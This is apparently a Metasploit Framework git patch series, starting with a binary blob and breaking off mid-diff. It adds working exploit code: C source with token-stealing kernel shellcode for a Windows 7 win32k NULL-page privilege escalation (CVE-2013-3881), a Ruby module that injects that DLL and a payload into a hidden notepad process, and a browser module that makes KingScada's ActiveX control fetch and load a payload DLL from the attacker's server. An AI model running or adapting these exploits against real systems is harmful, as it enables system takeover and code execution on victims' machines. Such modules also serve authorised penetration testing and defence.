z?P7b_KK2P}yMeXQ+v%P3pP|-o(S!P(`Y1h1|FfRWr}FiDFYjOvwtI=b!Vsybj~B&8 zQ7Nu+dqVP^?tZtY7w{6jS>9&vgy##v=3)0ENjfPbn@JV<Cs7nb>95RFUV+YI)D9|9 zEj39UpgyWDP&ca|sXncXcB>||3~jFVjFv?U=q$RNuBAKZC-gMUVsqGw>{a$I3+M;* zL;B}>M<d?2$yjK-W9&6*j5_0}@wxGhk!U*REOV~;p1IdNXdX7}V1Fa6F;=E^+KS<E zygN_i_wX5fKL3?7!zp%FIL|xloib;mbI7?&#ES&cTM$8oDIAd`f?|PKEQ-Z4u~J;& zc6NKa8fwdNliUpVF?WYs?(TN?xD{@td%&%BYusBr;!)4^9PhX22{w7Y(T($fo#b(K zh5E9(PpwnWsO_{KSdaCzxQI0c^qX}}w_#Ct=ri<g#^c5SbCj8BPBy2TkC=<ho#rWX zu4VF3{2+h9zT0^MebP(L7H7NjmQ(J0=5!HCv$QFwnUEMJmWvWmD%OiKajhE<dHcI5 zZmJt{C%MnM?=?$X>(;x+-IFdyiwb%vUaD8@Re17ZqZBsRg>)x_NE#VK^2q(<39^Kg zkQc~n=&jx(`$-)+iWb&J>8GT_5?@D)+O3>W+NoVtL;YHf)n-y17Iz1`lZ|2-u)7>K zg-v6#*gUp~6|<GBl$F8u-bQ^^uqt*0*7pzg4ZB+Js$Zx3bzK*F2tCeD-7<z6X~rqD zlf|uktH?^{IlQCW)rEjXjn^X~w0(I`Hx3k3QqVT=XJz9!U!hj2!?Y3FVy#%)s+FUs zJg&vk1RA6%G?UJyrF1u1Ni0iXDQq0eWV6xYOIbPF&FWcOJyw^4O)ZM+K#GV@%~T83 zxoWXms_sz_sMTtXTC3KpC)EbkZ_KwATg$8xYrVD6+HRFwd#p;U+N!mVTMgD(t1a)q zyYimA7w^p}cX$#H@)VxRLwpz?!PEF?^b>`A8ZY9r`CQoMLX1<zd>Q(V5?+e7SH?H; zt$aIwi<k4=d=IbSmHYs&<~6*Q*Yo52ByZqf^0VA$x3y!@pT^l;?QV8Y+i&->6KvB? uvV(Stooa{dVfF|+%^q!!vvY0JaU7i7C3i^!mo#um1D7;#Ndy1q8u%CJ?NW9C literal 0 HcmV?d00001 diff --git a/external/source/exploits/cve-2013-3881/.gitignore b/external/source/exploits/cve-2013-3881/.gitignore new file mode 100644 index 0000000000..7649d7f46b --- /dev/null +++ b/external/source/exploits/cve-2013-3881/.gitignore @@ -0,0 +1,151 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.sln.docstates + +# Build results + +[Dd]ebug/ +[Rr]elease/ +x64/ +build/ +[Bb]in/ +[Oo]bj/ + +# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets +!packages/*/build/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +*_i.c +*_p.c +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.log +*.scc + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +*.ncrunch* +.*crunch*.local.xml + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.Publish.xml +*.pubxml + +# NuGet Packages Directory +## TODO: If you have NuGet Package Restore enabled, uncomment the next line +#packages/ + +# Windows Azure Build Output +csx +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Others +sql/ +*.Cache +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.[Pp]ublish.xml +*.pfx +*.publishsettings + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file to a newer +# Visual Studio version. Backup files are not needed, because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +App_Data/*.mdf +App_Data/*.ldf + +# ========================= +# Windows detritus +# ========================= + +# Windows image file caches +Thumbs.db +ehthumbs.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Mac crap +.DS_Store diff --git a/external/source/exploits/cve-2013-3881/cve-2013-3881.sln b/external/source/exploits/cve-2013-3881/cve-2013-3881.sln new file mode 100755 index 0000000000..8887a82024 --- /dev/null +++ b/external/source/exploits/cve-2013-3881/cve-2013-3881.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2013-3881", "cve-2013-3881\cve-2013-3881.vcxproj", "{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.ActiveCfg = Debug|Win32 + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.Build.0 = Debug|Win32 + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.ActiveCfg = Release|Win32 + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c new file mode 100755 index 0000000000..8f5ef28b0a --- /dev/null +++ b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c @@ -0,0 +1,257 @@ +/* + * Exploit Title: CVE-2013-3881 Win32k NULL Page Vulnerability + * Date: February 5, 2014 + * Vulnerability Discovery: Seth Gibson and Dan Zentner of Endgame + * Exploit Author: Spencer McIntyre + * Version: Windows 7 SP1 + * Tested on: Windows 7 SP0/SP1 + * CVE-2013-3881 MS13-081 + * References: + * http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html + * http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html + * http://picturoku.blogspot.com/2011/12/bit-away-from-kernel-execution.html + */ + +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" + +// Purloined from ntstatus.h +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth + +#define WIN32_NO_STATUS +#include <windows.h> +#undef WIN32_NO_STATUS +#include <winternl.h> + +#define TABLE_BASE 0xff910000 + +static const char* window_class_name = "PWN_CLASS"; +static HWND window0 = NULL; +static HWND window1 = NULL; +static HDESK desktop = NULL; + +const unsigned char shellcode[] = + "\x33\xc0" // xor eax, eax + "\x64\x8b\x80\x24\x01\x00\x00" // mov eax, fs:[eax+0x124] + "\x8b\x40\x50" // mov eax, ds:[eax+0x50] + "\x8b\xc8" // mov ecx, eax + /* LOOPTHROUGHPROCESSES */ + "\x8b\x80\xb8\x00\x00\x00" // mov eax, ds:[eax+0xb8] + "\x2d\xb8\x00\x00\x00" // sub eax, 0xb8 + "\x83\xb8\xb4\x00\x00\x00\x04" // cmp DWORD PTR ds:[eax+0xb4], 4 + "\x75\xec" // jnz short LOOPTHROUGHPROCESSES + "\x8b\x90\xf8\x00\x00\x00" // mov edx, ds:[eax+0x0f8] + "\x89\x91\xf8\x00\x00\x00" // mov [ecx+0x0f8], edx + /* Epilog Part 1: Uncorrupt HANDLEENTRY */ + "\xbe\x00\x08\x00\x00" // mov esi, 0x0800 + "\x8b\x3e" // mov edi, [esi] + "\x8b\x46\x04" // mov eax, [esi+4] + "\x89\x07" // mov [edi], eax + "\x8b\x46\x08" // mov eax, [esi+8] + "\x89\x47\x04" // mov [edi + 4], eax + "\x8b\x46\x0c" // mov eax, [esi+c] + "\x89\x47\x08" // mov [edi+8], eax + /* Epilog Part 2: Return to xxxTrackPopupMenuEx */ + "\x83\x7c\x24\x58\x00" // cmp DWORD PTR [esp+0x58], 0 + "\x74\x11" // je short sp1 + "\x83\x7c\x24\x5c\x01" // cmp DWORD PTR [esp+0x5c], 1 + "\x75\x0a" // je short sp1 + /* Service Pack 0 */ + "\x83\xc4\x48" // add esp, 0x48 + "\x5f" // pop edi + "\x5e" // pop esi + "\x5b" // pop ebx + "\x5d" // pop ebp + "\xc2\x04\x00" // ret 4 + /* Service Pack 1 */ + "\x83\xc4\x4c" // add esp 0x4c + "\x5f" // pop edi + "\x5e" // pop esi + "\x83\xc4\x0c" // add esp, 0x0c + "\x5d" // pop ebp + "\xc2\x08\x00"; // ret 8 + +typedef struct _HANDLEENTRY { + struct _HEAD *pHead; + void *pOwner; + UINT8 bType; + UINT8 bFlags; + UINT16 wUniq; +} HANDLEENTRY, *PHANDLEENTRY; + +typedef NTSTATUS (NTAPI *lNtAllocateVirtualMemory)( + IN HANDLE ProcessHandle, + IN PVOID *BaseAddress, + IN PULONG ZeroBits, + IN PSIZE_T RegionSize, + IN ULONG AllocationType, + IN ULONG Protect +); + +typedef NTSTATUS (NTAPI *lNtQueryIntervalProfile)( + IN DWORD ProfileSource, + OUT PULONG Interval +); + +LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { + return DefWindowProc(hwnd, msg, wParam, lParam); +} + +NTSTATUS AllocateNullPage(void) { + HMODULE hNtdll = NULL; + FARPROC pNtAllocateVirtualMemory = NULL; + DWORD base_address = 1; + SIZE_T region_size = 0x1000; + ULONG zero_bits = 0; + HANDLE current_process = NULL; + NTSTATUS status = 0; + + hNtdll = LoadLibraryA("ntdll"); + pNtAllocateVirtualMemory = (lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory"); + current_process = GetCurrentProcess(); + status = pNtAllocateVirtualMemory(current_process, &base_address, 0, ®ion_size, (MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN), PAGE_EXECUTE_READWRITE); + FreeLibrary(hNtdll); + return status; +} + +PHANDLEENTRY GetAheList(void) { + HMODULE hUser32 = NULL; + HANDLEENTRY **tagSharedInfo = NULL; + + hUser32 = LoadLibraryA("user32"); + tagSharedInfo = (PHANDLEENTRY *)GetProcAddress(hUser32, "gSharedInfo"); + if (tagSharedInfo == NULL) { + return NULL; + } + return (PHANDLEENTRY)*&tagSharedInfo[1]; +} + +DWORD WINAPI TriggerThread0(void *garbage) { + HMENU menu0; + + SetThreadDesktop(desktop); + window0 = CreateWindow(window_class_name, "Window 0", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL); + menu0 = CreatePopupMenu(); + if (AppendMenu(menu0, (MF_STRING | MF_ENABLED), 32001, "test") == 0) { + return 0; + } + TrackPopupMenu(menu0, TPM_CENTERALIGN, 0, 0, 0, window0, NULL); + return 0; +} + +BOOL WINAPI CreateAndRegisterClass(char * class_name) { + WNDCLASSEX wx; + HINSTANCE hInstance = NULL; + + hInstance = (HINSTANCE)GetModuleHandle(NULL); + if (hInstance == NULL) { + return FALSE; + } + + wx.cbSize = sizeof(WNDCLASSEX); + wx.style = 0; + wx.lpfnWndProc = WndProc; + wx.cbClsExtra = 0; + wx.cbWndExtra = 0; + wx.hInstance = hInstance; + wx.hIcon = LoadIcon(NULL, IDI_APPLICATION); + wx.hCursor = LoadCursor(NULL, IDC_ARROW); + wx.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); + wx.lpszMenuName = NULL; + wx.lpszClassName = class_name; + wx.hIconSm = LoadIcon(NULL, IDI_APPLICATION); + + if (RegisterClassEx(&wx) != 0) { + return TRUE; + } + return FALSE; +} + +DWORD WINAPI ExecutePayload(LPVOID lpPayload) { + VOID(*lpCode)() = (VOID(*)())lpPayload; + lpCode(); + return ERROR_SUCCESS; +} + +void Win32kNullPage(LPVOID lpPayload) { + HMENU menu1 = NULL; + HMENU menu2 = NULL; + HANDLE gdi_handle = NULL; + void *promise_land = NULL; + ULONG interval = 0; + PHANDLEENTRY aheList = NULL; + PHANDLEENTRY target_handle = NULL; + DWORD saved_bytes = 0; + + desktop = CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL); + SetThreadDesktop(desktop); + + if (!CreateAndRegisterClass(window_class_name)) { + return; + } + + if (AllocateNullPage() != STATUS_SUCCESS) { + return; + } + *((PDWORD)promise_land + 0) = 0x000004eb; /* jmp 4 */ + *((PDWORD)promise_land + 1) = 0x90909090; /* noooop */ + *((PDWORD)promise_land + 2) = 0x000400b8; /* mov eax, 400 */ + *((PDWORD)promise_land + 3) = 0x90d0ff00; /* call eax */ + *((PDWORD)promise_land + 7) = 0x00; + *((PDWORD)promise_land + 9) = 0x00; + *((PDWORD)promise_land + 12) = 0x00; + *(PDWORD)((PBYTE)promise_land + 0x04eb + 0x04) = (0x0200 - 4); + *(PDWORD)((PBYTE)promise_land + 0x04eb + 0x08) = (0x0200 - 4); + memcpy((PDWORD)promise_land + 256, shellcode, sizeof(shellcode)); + + window1 = CreateWindow(window_class_name, "Window 1", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL); + menu1 = CreatePopupMenu(); + menu2 = CreateMenu(); + SetMenu(window1, menu2); + DestroyMenu(menu2); + + aheList = GetAheList(); + *((PDWORD)promise_land + 127) = ((DWORD)menu2 & 0xffff); + *((PDWORD)promise_land + 128) = 0x01; + *((PDWORD)promise_land + 129) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE + 5) - 0x0104; + + target_handle = &aheList[((DWORD)menu2 & 0xffff)]; + *((PDWORD)promise_land + 512) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE); + memcpy((PDWORD)promise_land + 513, target_handle, sizeof(HANDLEENTRY)); + + if (AppendMenu(menu1, (MF_STRING | MF_ENABLED), 32001, "test") == 0) { + return; + } + + do { + gdi_handle = CreateMetaFile(NULL); + } while (gdi_handle != NULL); + + CreateThread(NULL, 0, TriggerThread0, NULL, 0, 0); + Sleep(500); + TrackPopupMenu(menu1, TPM_CENTERALIGN, 0, 0, 0, window1, NULL); + CreateThread(0, 0, ExecutePayload, lpPayload, 0, NULL); + return; +} + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) { + BOOL bReturnValue = TRUE; + switch (dwReason) { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) { + *(HMODULE *)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + Win32kNullPage(lpReserved); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +}; diff --git a/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj new file mode 100755 index 0000000000..b8d7835d89 --- /dev/null +++ b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj @@ -0,0 +1,85 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}</ProjectGuid> + <RootNamespace>cve20133881</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <PlatformToolset>v90</PlatformToolset> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <PlatformToolset>v90</PlatformToolset> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <CompileAs>CompileAsC</CompileAs> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + </ClCompile> + <Link> + <GenerateDebugInformation>true</GenerateDebugInformation> + <OptimizeReferences>true</OptimizeReferences> + <OutputFile>$(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)</OutputFile> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <CompileAs>CompileAsC</CompileAs> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <CompileAs>Default</CompileAs> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + </ClCompile> + <Link> + <GenerateDebugInformation>false</GenerateDebugInformation> + <OptimizeReferences>true</OptimizeReferences> + <OutputFile>$(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)</OutputFile> + </Link> + </ItemDefinitionGroup> + <ItemGroup> + <ClCompile Include="cve-2013-3881.c" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> diff --git a/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj.filters b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj.filters new file mode 100755 index 0000000000..0321112588 --- /dev/null +++ b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj.filters @@ -0,0 +1,22 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="Source Files"> + <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier> + <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions> + </Filter> + <Filter Include="Header Files"> + <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier> + <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions> + </Filter> + <Filter Include="Resource Files"> + <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier> + <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions> + </Filter> + </ItemGroup> + <ItemGroup> + <ClCompile Include="cve-2013-3881.c"> + <Filter>Source Files</Filter> + </ClCompile> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/modules/exploits/windows/local/win32k_null_page.rb b/modules/exploits/windows/local/win32k_null_page.rb new file mode 100644 index 0000000000..6391c0759b --- /dev/null +++ b/modules/exploits/windows/local/win32k_null_page.rb @@ -0,0 +1,128 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/post/windows/reflective_dll_injection' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = AverageRanking + + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Post::Windows::FileInfo + include Msf::Post::Windows::ReflectiveDLLInjection + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Windows TrackPopupMenuEx Win32k NULL Page', + 'Description' => %q{ + This module exploits a vulnerability in win32k.sys where under + specific conditions TrackPopupMenuEx will pass a NULL pointer to + the EndMenuState. This module has been tested successfully on + Windows 7 SP0 and Windows 7 SP1. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Seth Gibson', # vulnerability discovery + 'Dan Zentner', # vulnerability discovery + 'Matias Soler', # vulnerability analysis + 'Spencer McIntyre' + ], + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Targets' => + [ + [ 'Windows 7 SP0/SP1', { } ] + ], + 'Payload' => + { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => + [ + [ 'CVE', '2013-3881' ], + [ 'MSB', 'MS13-081' ], + [ 'URL', 'http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html' ], + [ 'URL', 'http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html' ], + ], + 'DisclosureDate' => 'Oct 08 2013', + 'DefaultTarget' => 0, + })) + end + + def check + os = sysinfo["OS"] + if (os =~ /windows/i) == nil + return Exploit::CheckCode::Unknown + end + + file_path = expand_path("%windir%") << "\\system32\\win32k.sys" + major, minor, build, revision, branch = file_version(file_path) + vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") + + case build + when 7600 + return Exploit::CheckCode::Vulnerable + when 7601 + if branch == 18 + return Exploit::CheckCode::Vulnerable if revision <= 18126 + else + return Exploit::CheckCode::Vulnerable if revision < 22348 + end + when 9200 + return Exploit::CheckCode::Safe + end + return Exploit::CheckCode::Unknown + end + + def exploit + if is_system? + fail_with(Exploit::Failure::None, 'Session is already elevated') + end + + if check != Exploit::CheckCode::Vulnerable + fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.") + end + + if sysinfo["Architecture"] =~ /wow64/i + fail_with(Failure::NoTarget, "Running against WOW64 is not supported") + elsif sysinfo["Architecture"] =~ /x64/ + fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") + end + + print_status("Launching notepad to host the exploit...") + notepad_process = client.sys.process.execute("notepad.exe", nil, {'Hidden' => true}) + process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) + print_good("Process #{process.pid} launched.") + + print_status("Reflectively injecting the exploit DLL into #{process.getpid}...") + library_path = ::File.join(Msf::Config.data_directory, "exploits", + "cve-2013-3881", "cve-2013-3881.x86.dll") + library_path = ::File.expand_path(library_path) + + print_status("Injecting exploit into #{process.getpid} ...") + exploit_mem, offset = inject_dll_into_process(process, library_path) + + print_status("Exploit injected. Injecting payload into #{process.getpid}...") + payload_mem = inject_into_process(process, payload.encoded) + + # invoke the exploit, passing in the address of the payload that + # we want invoked on successful exploitation. + print_status("Payload injected. Executing exploit...") + process.thread.create(exploit_mem + offset, payload_mem) + + print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.") + end + +end From a18de35fa721de78ef9a7fcfb15478181a4d9740 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 6 Feb 2014 18:25:36 -0600 Subject: [PATCH 200/246] Add module for ZDI-14-011 --- .../wellintech_kingscada_kxclientdownload.rb | 93 +++++++++++++++++++ 1 file changed, 93 insertions(+) create mode 100644 modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb diff --git a/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb b/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb new file mode 100644 index 0000000000..5ed3a62d0e --- /dev/null +++ b/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb @@ -0,0 +1,93 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::BrowserExploitServer + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'KingScada kxClientDownload.ocx ActiveX Remote Code Execution', + 'Description' => %q{ + This module abuses the kxClientDownload.ocx distributed with WellingTech KingScada. + The ProjectURL property can be abused to download and load arbitrary DLLs from + arbitrary locations, leading to arbitrary code execution, because of a dangerous + usage of LoadLibrary. Due to the nature of the vulnerability, this module will work + only when there isn't Protected Mode. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Andrea Micalizzi', # aka rgod original discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + ['CVE', '2013-2827'], + ['OSVDB', '102135'], + ['BID', '64941'], + ['ZDI', '14-011'], + ['URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-344-01'] + ], + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f', + }, + 'BrowserRequirements' => + { + :source => /script|headers/i, + :os_name => Msf::OperatingSystems::WINDOWS, + :ua_name => /MSIE|KXCLIE/i + }, + 'Payload' => + { + 'Space' => 2048, + 'StackAdjustment' => -3500, + 'DisableNopes' => true + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 14 2014')) + end + + def on_request_exploit(cli, request, target_info) + print_status("Requested: #{request.uri}") + + if request.uri =~ /\/libs\/.*\.dll/ + print_good("Sending DLL payload") + send_response(cli, + generate_payload_dll(:code => get_payload(cli, target_info)), + 'Content-Type' => 'application/octet-stream' + ) + return + elsif request.uri =~ /\/libs\// + print_status("Sending not found") + send_not_found(cli) + return + end + + content = <<-EOS +<html> +<body> +<object classid='clsid:1A90B808-6EEF-40FF-A94C-D7C43C847A9F' id='#{rand_text_alpha(10 + rand(10))}'> +<param name="ProjectURL" value="#{get_module_uri}"></param> +</object> +</body> +</html> + EOS + + print_status("Sending #{self.name}") + send_response_html(cli, content) + end + +end From f6863853490ad8c1440c2e1b1a6bf8c3389c624b Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Fri, 7 Feb 2014 08:45:51 -0500 Subject: [PATCH 201/246] Remove an unnecessary VS file and modify version check. --- .../cve-2013-3881.vcxproj.filters | 22 ------------------- .../windows/local/win32k_null_page.rb | 6 +---- 2 files changed, 1 insertion(+), 27 deletions(-) delete mode 100755 external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj.filters diff --git a/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj.filters b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj.filters deleted file mode 100755 index 0321112588..0000000000 --- a/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj.filters +++ /dev/null @@ -1,22 +0,0 @@ -<?xml version="1.0" encoding="utf-8"?> -<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> - <ItemGroup> - <Filter Include="Source Files"> - <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier> - <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions> - </Filter> - <Filter Include="Header Files"> - 